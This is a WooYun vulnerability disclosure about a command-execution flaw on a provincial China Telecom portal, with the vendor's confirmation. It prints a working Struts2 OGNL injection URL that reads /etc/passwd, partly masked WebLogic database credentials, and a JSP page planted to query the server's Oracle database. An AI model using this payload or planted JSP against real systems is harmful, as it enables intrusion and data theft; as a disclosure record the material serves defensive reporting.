当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0212082

漏洞标题:某省电信主站getshell

相关厂商:中国电信

漏洞作者: U神

提交时间:2016-05-23 19:30

修复时间:2016-07-08 10:40

公开时间:2016-07-08 10:40

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-23: 细节已通知厂商并且等待厂商处理中
2016-05-24: 厂商已经确认,细节仅向厂商公开
2016-06-03: 细节向核心白帽子及相关领域专家公开
2016-06-13: 细节向普通白帽子公开
2016-06-23: 细节向实习白帽子公开
2016-07-08: 细节向公众公开

简要描述:

一直放在手头比较久吧,没有太多时间去提交。

详细说明:

神器获取到一个命令执行:
安徽电信:http://**.**.**.**/vportal/kd.action

http://**.**.**.**/vportal/kd.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'cat','/etc/passwd'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%**.**.**.**.InputStreamReader%20(%23b),%23d%3dnew%**.**.**.**.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D


01.jpg


根据分析,这是一个使用Weblogic搭建的站点,找到可以解析shell的地方直接上webshell,但是发现通过使用不少POC和工具测试,似乎很难写shell,于是就纳闷最后测试到鬼哥的st2工具才顺利获得shell。
但似乎是负载均衡的问题,可能导致某些时间或地域性问题导致访问shell是404

02.jpg

漏洞证明:

解密weblogic中的密码,获取了数据库密码(只是连上去看看,没有动啥数据)

<url>jdbc:oracle:thin:@13*.6*.2*.1*:1521:ahwss</url>
<driver-name>oracle.jdbc.OracleDriver</driver-name>
<properties>
<property>
<name>user</name>
<value>vp****</value>
</property>
</properties>
<password-encrypted>{AES}qOKl2h***Rn8Tki***KYvMoRnw***/ArD**Cx4oOrYmWz4=</password-encrypted>


03.png


很可惜禁止了服务端执行SQL语句,尝试绕过无果

04.jpg


最后想出可以写一个脚本让服务端自身去执行SQL语句。

<%@ page language="java" import="java.util.*" import="**.**.**.**.*"
import="java.sql.*" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>jdbc.jsp</title>
</head>
<body>
<%
try{
Connection con;
Statement stmt;
ResultSet rs;

Class.forName("oracle.jdbc.driver.OracleDriver");

java.sql.DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());

String dbUrl="jdbc:oracle:thin:@1**.*4.*.***3:1521:ah***";//This your oracle address and current database
String dbUser="vp**t***";
String dbPwd="vp*t1***";

con=java.sql.DriverManager.getConnection(dbUrl,dbUser,dbPwd);

stmt=con.createStatement();

rs=stmt.executeQuery("select * from user_tables");
out.println("<table border=1 width=400>");
while(rs.next())
{
String col1=rs.getString(1);
String col2=rs.getString(2);
String col3=rs.getString(3);

out.println("<tr><td>"+col1+"</td><td>"+col2+"</td><td>"+col3+"</td></tr>");
}
out.println("</table>");

rs.close();
stmt.close();
con.close();
}

catch(Exception e){out.println(e.getMessage());}

%>
</body>
</html>


05.jpg

修复方案:

点到为止,我就是这样一个白帽子。
测试中可能测试上传过一些jspshell 我能清理的尽量删除了.请排查安全银黄

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-05-24 10:30

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无